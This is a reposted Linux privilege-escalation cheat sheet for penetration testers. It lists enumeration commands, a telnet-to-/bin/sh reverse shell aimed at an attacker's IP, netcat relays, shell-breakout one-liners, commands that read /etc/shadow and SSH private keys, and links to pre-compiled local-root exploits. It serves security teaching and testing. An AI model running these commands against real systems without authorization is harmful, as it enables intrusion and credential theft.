Cheat sheet

Credit for this Whole Thing Goes to : sirensecurity.io/blog

Enumeration is the key
(Linux) privilege escalation is all about:
• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

=========================
Operating System:


[WHAT OS IS THIS ???]
•  cat /etc/issue
•  cat /etc/*-release 
•  cat /etc/lsb-release      # Debian based 
•  cat /etc/redhat-release   # Redhat based


[WHAT ABOUT KERNAL??]
•   cat /proc/version 
•   uname -a 
•   uname -mrs 
•   rpm -q kernel 
•   dmesg | grep Linux
•   ls /boot | grep vmlinuz-


[What can be learnt from the environmental variables?]
•  cat /etc/profile
•  cat /etc/bashrc
•  cat ~/.bash_profile 
•  cat ~/.bashrc 
•  cat ~/.bash_logout 
•  env
•  set


[Is there a printer???]
•  lpstat -a


=============================
Applications & Services:


[What services are running???. Which service has which user privilege?????]
•  ps aux 
•  ps -ef 
•  top
•  cat /etc/services


[Which service(s) are been running by root? Of these services]
•  ps aux | grep root
•  ps -ef | grep root


[What applications are installed? What version are they? Are they currently running?]
•  ls -alh /usr/bin/
•   ls -alh /sbin/ 
•   dpkg -l 
•   rpm -qa 
•   ls -alh /var/cache/apt/archivesO 
•   ls -alh /var/cache/yum/

 
[Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?]
•  cat /etc/syslog.conf
•  cat /etc/chttp.conf
•  cat /etc/lighttpd.conf
•  cat /etc/cups/cupsd.conf
•  cat /etc/inetd.conf
•  cat /etc/apache2/apache2.conf
•  cat /etc/my.conf
•  cat /etc/httpd/conf/httpd.conf
•  cat /opt/lampp/etc/httpd.conf
•  ls -aRl /etc/ | awk '$1 ~ /^.*r.*/



[What jobs are scheduled?]
• crontab -l
• ls -alh /var/spool/cron
• ls -al /etc/ | grep cron
• ls -al /etc/cron*
• cat /etc/cron*
• cat /etc/at.allow
• cat /etc/at.deny
• cat /etc/cron.allow
• cat /etc/cron.deny
• cat /etc/crontab
• cat /etc/anacrontab
• cat /var/spool/cron/crontabs/root

[Any plain text usernames and/or passwords?]
• grep -i user [filename]
• grep -i pass [filename]
• grep -C 5 "password" [filename]
• find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla


===========================================
Communications & Networking:

[What NIC(s) does the system have? Is it connected to another network?]
• /sbin/ifconfig -a
• cat /etc/network/interfaces
• cat /etc/sysconfig/network


[What network configuration settings? What about this network? DHCP server? DNS server? Gateway?]
• cat /etc/resolv.conf
• cat /etc/sysconfig/network
• cat /etc/networks
• iptables -L
• hostname
• dnsdomainname


[What other users & hosts are communicating with the system?]
• lsof -i
• lsof -i :80
• grep 80 /etc/services
• netstat -antup
• netstat -antpx
• netstat -tulpn
• chkconfig --list
• chkconfig --list | grep 3:on
• last
• w


[Whats cached? IP and/or MAC addresses]
• arp -e
• route
• /sbin/route -nee


[Is packet sniffing possible? What can be seen? Listen to live traffic]
•  tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21


****Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]********




[Have you got a shell? Can you interact with the system?]
•  nc -lvp 4444    # Attacker. Input (Commands)
•  nc -lvp 4445    # Attacker. Ouput (Results)
•  telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


****Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/****


[Is port forwarding possible? Redirect and interact with traffic from another view]
Note: http://www.boutell.com/rinetd/

Note:  http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note:  http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
•  FPipe.exe -l 80 -r 80 -s 80 192.168.1.7


Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
•  ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
•  ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port


Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
•  mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
•  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
•  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


[Is tunnelling possible? Send commands locally, remotely]
•  ssh -D 127.0.0.1:9050 -N [username]@[ip] 
•  proxychains ifconfig



================================================
Confidential Information & Users:

[Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?]
•  id
•  who
•  w
•  last
•  cat /etc/passwd | cut -d: -f1    # List of users
•  grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
•  awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
•  cat /etc/sudoers
•  sudo -l


[What sensitive files can be found?]
•  cat /etc/passwd
•  cat /etc/group
•  cat /etc/shadow
•  ls -alh /var/mail/


[Anything "interesting" in the home directorie(s)? If it's possible to access]
•  lls -ahlR /root/
•  lls -ahlR /home/


[Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords]
•  cat /var/apache2/config.inc
•  cat /var/lib/mysql/mysql/user.MYD
•  cat /root/anaconda-ks.cfg


[What has the user being doing? Is there any password in plain text? What have they been edting?]
•  cat ~/.bash_history
•  cat ~/.nano_history
•  cat ~/.atftp_history
•  cat ~/.mysql_history
•  cat ~/.php_history


[What user information can be found?]
•  cat ~/.bashrc
•  cat ~/.profile
•  cat /var/mail/root
•  cat /var/spool/mail/root


[Can private-key information be found?]
•  cat ~/.ssh/authorized_keys
•  cat ~/.ssh/identity.pub
•  cat ~/.ssh/identity
•  cat ~/.ssh/id_rsa.pub
•  cat ~/.ssh/id_rsa
•  cat ~/.ssh/id_dsa.pub
•  cat ~/.ssh/id_dsa
•  cat /etc/ssh/ssh_config
•  cat /etc/ssh/sshd_config
•  cat /etc/ssh/ssh_host_dsa_key.pub
•  cat /etc/ssh/ssh_host_dsa_key
•  cat /etc/ssh/ssh_host_rsa_key.pub
•  cat /etc/ssh/ssh_host_rsa_key
•  cat /etc/ssh/ssh_host_key.pub
•  cat /etc/ssh/ssh_host_key


============================================
File Systems:


[Which configuration files can be written in /etc/? Able to reconfigure a service?]
•  ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
•  ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
•  ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
•  ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

•  find /etc/ -readable -type f 2>/dev/null               # Anyone
•  find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone


[What can be found in /var/ ?]
•  ls -alh /var/log
•  ls -alh /var/mail
•  ls -alh /var/spool
•  ls -alh /var/spool/lpd
•  ls -alh /var/lib/pgsql
•  ls -alh /var/lib/mysql
•  cat /var/lib/dhcp3/dhclient.leases


[Any settings/files (hidden) on website? Any settings file with database information?]
•  ls -alhR /var/www/
•  ls -alhR /srv/www/htdocs/
•  ls -alhR /usr/local/www/apache22/data/
•  ls -alhR /opt/lampp/htdocs/
•  ls -alhR /var/www/html/


[Is there anything in the log file(s) (Could help with "Local File Includes"!)]
•  cat /etc/httpd/logs/access_log
•  cat /etc/httpd/logs/access.log
•  cat /etc/httpd/logs/error_log
•  cat /etc/httpd/logs/error.log
•  cat /var/log/apache2/access_log
•  cat /var/log/apache2/access.log
•  cat /var/log/apache2/error_log
•  cat /var/log/apache2/error.log
•  cat /var/log/apache/access_log
•  cat /var/log/apache/access.log
•  cat /var/log/auth.log
•  cat /var/log/chttp.log
•  cat /var/log/cups/error_log
•  cat /var/log/dpkg.log
•  cat /var/log/faillog
•  cat /var/log/httpd/access_log
•  cat /var/log/httpd/access.log
•  cat /var/log/httpd/error_log
•  cat /var/log/httpd/error.log
•  cat /var/log/lastlog
•  cat /var/log/lighttpd/access.log
•  cat /var/log/lighttpd/error.log
•  cat /var/log/lighttpd/lighttpd.access.log
•  cat /var/log/lighttpd/lighttpd.error.log
•  cat /var/log/messages
•  cat /var/log/secure
•  cat /var/log/syslog
•  cat /var/log/wtmp
•  cat /var/log/xferlog
•  cat /var/log/yum.log
•  cat /var/run/utmp
•  cat /var/webmin/miniserv.log
•  cat /var/www/logs/access_log
•  cat /var/www/logs/access.log
•  ls -alh /var/lib/dhcp3/
•  ls -alh /var/log/postgresql/
•  ls -alh /var/log/proftpd/
•  ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/


[If commands are limited, you break out of the "jail" shell?]
•  python -c 'import pty;pty.spawn("/bin/bash")'
•  echo os.system('/bin/bash')
•  /bin/sh -i


[How are file-systems mounted?]
• mount
• df -h

[Are there any unmounted file-systems?]
•  cat /etc/fstab



[What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID]
•  find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
•  find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
•  find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

•  find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
•  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)


# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
•  find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


[Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm]
•  find / -writable -type d 2>/dev/null      # world-writeable folders
•  find / -perm -222 -type d 2>/dev/null     # world-writeable folders
•  find / -perm -o w -type d 2>/dev/null     # world-writeable folders

•  find / -perm -o x -type d 2>/dev/null     # world-executable folders

•  find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders



[Any "problem" files? Word-writeable, "nobody" files]
•  find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
•  find /dir -xdev \( -nouser -o -nogroup \) -print   # No owner files




================================================
Preparation & Finding Exploit Code:



[What development tools/languages are installed/supported?]
•  find / -name perl*
•  find / -name python*
•  find / -name gcc*
•  find / -name cc


[How can files be uploaded?]
•  find / -name wget
•  find / -name nc*
•  find / -name netcat*
•  find / -name tftp*
•  find / -name ftp


==========================================
Finding exploit code:

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit:

http://www.cvedetails.com


http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]



(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk:

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/



=================================================
Mitigations:


[Is any of the above information easy to find?]
→ Try doing it! Setup a cron job which automates script(s) and/or 3rd party products.


[Is the system fully patched?]
→ Kernel, operating system, all applications, their plugins and web services.

•  apt-get update && apt-get upgrade
•  yum update



[Are services running with the minimum level of privileges required?]
→  For example, do you need to run MySQL as root? 


Scripts Can any of this be automated?!:

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net




=====================================================
Other (quick) guides & Links:

Enumeration:

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm



Misc:

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html



===================================================================